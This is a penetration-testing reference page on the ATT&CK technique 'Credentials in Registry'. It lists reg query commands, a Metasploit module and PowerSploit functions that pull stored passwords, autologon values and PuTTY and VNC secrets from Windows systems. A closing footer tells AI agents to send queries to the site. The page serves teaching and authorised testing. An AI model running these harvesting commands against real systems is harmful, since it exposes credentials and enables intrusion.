# Credentials in Registry

**ATT\&CK ID:** [T1552.002](https://attack.mitre.org/techniques/T1552/002/)

**Permissions Required:** <mark style="color:orange;">**Various**</mark>

**Description**

Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.

## Techniques

### CMD

```bash
# String matching in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /t REG_SZ /s

# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"

# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
```

### Metasploit

```
post/windows/gather/credentials/windows_autologin
```

### PowerSploit

**URL:** <https://github.com/PowerShellMafia/PowerSploit/tree/dev/Privesc>

```bash
# Import privesc module
# Import-Module .\Privesc.psd1

Get-UnattendedInstallFile
Get-Webconfig
Get-ApplicationHost
Get-SiteListPassword
Get-CachedGPPPassword
Get-RegistryAutoLogon
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/credential-access/unsecured-credentials/credentials-in-registry.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
